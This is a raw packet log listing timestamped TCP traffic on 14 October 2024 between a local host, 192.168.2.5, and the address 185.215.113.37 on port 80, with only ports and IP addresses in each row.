Oct 14, 2024 13:08:23.073900938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161257029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161279917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161292076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161312103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161334038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161334991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161359072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161473989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161559105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161570072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161581993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161597013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161617041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161623001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161631107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161642075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161653042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161664009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161669016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161685944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161695957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161701918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161714077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161731005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161735058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161741972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161751986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161765099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161770105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161794901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161915064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161925077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161935091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161945105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161955118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161957026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161966085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161978006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161983013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161988020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.161993980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.161998987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162013054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162040949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162055969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162111998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162122965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162133932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162146091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162152052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162163973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162182093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162187099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162201881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162211895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162223101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162240028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162246943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162260056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162271976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162271976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162281036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162290096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162292004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162303925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162322044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162393093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162440062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162453890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162471056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162481070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162517071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162548065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162558079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162566900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162591934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162614107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162620068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162672043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162682056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162708044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162734032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162744045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162754059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162763119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162802935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162802935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162868023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162910938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162914038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162924051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162950993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162954092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162961960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162971020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.162972927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.162981987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163000107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163098097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163115025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163124084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163134098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163145065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163146019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163155079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163157940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163186073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163207054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163302898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163312912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163321972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163336992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163347006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163347960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163357019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163367033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163369894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163381100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163407087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163430929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163440943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163456917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163465977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.163475990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163495064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.163515091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.203438997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.203484058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.203493118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.203495026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.203504086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.203525066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.203560114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291064024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291121960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291141033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291160107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291171074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291197062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291207075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291212082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291218042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291227102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291229963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291238070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291248083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291258097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291260004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291301966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291380882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291394949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291407108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291415930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291426897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291435957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291440964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291446924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291455984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291455984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291469097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291472912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291498899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291503906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291512966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291521072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291541100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291555882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291619062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291629076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291637897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291660070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291678905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291680098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291688919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291718006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291739941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291773081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291778088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291786909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291819096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291843891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291852951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291862011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291872025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291883945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291896105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291899920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.291906118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.291937113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292052984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292088032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292104959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292114973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292144060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292186022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292196035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292205095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292215109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292227030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292242050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292262077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292321920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292330980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292340040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292350054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292359114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292361021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292370081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292382002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292401075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292547941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292557001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292566061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292581081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292587042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292589903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292601109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292623997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292625904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292634964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292644024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292665958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292680025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292748928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292759895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292768002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292778015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292787075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292792082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292797089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292817116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292828083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.292835951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292845011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.292872906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.293054104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293062925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293071985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293095112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.293107986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.293158054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293167114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293175936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293185949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293199062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.293221951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.293350935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293360949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293370008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293380022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293389082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293392897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.293399096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293407917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.293409109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293418884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.293427944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.293438911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.293462038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.333195925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.333220959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.333231926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.333242893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.333252907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.333323002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.333353043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.420964956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.420977116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.420994043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421004057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421015024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421053886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421065092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421139956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421149015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421159029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421169043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421216011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421214104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421214104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421214104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421214104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421226978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421236992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421248913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421256065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421288013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421334028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421344042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421353102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421375036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421389103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421389103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421430111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421462059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421473026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421492100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421502113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421513081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421514034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421536922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421555996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421586037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421597004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421606064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421617031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421627998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421632051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421655893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421673059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421752930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421762943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421772957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421801090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421823025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421828985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421838999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421849012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421876907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421889067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421899080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421900988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421907902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421936035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421957970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.421987057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.421997070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.422007084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.422033072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.422056913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.422113895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.422123909 CEST	80	49704	185.215.113.37	192.168.2.5
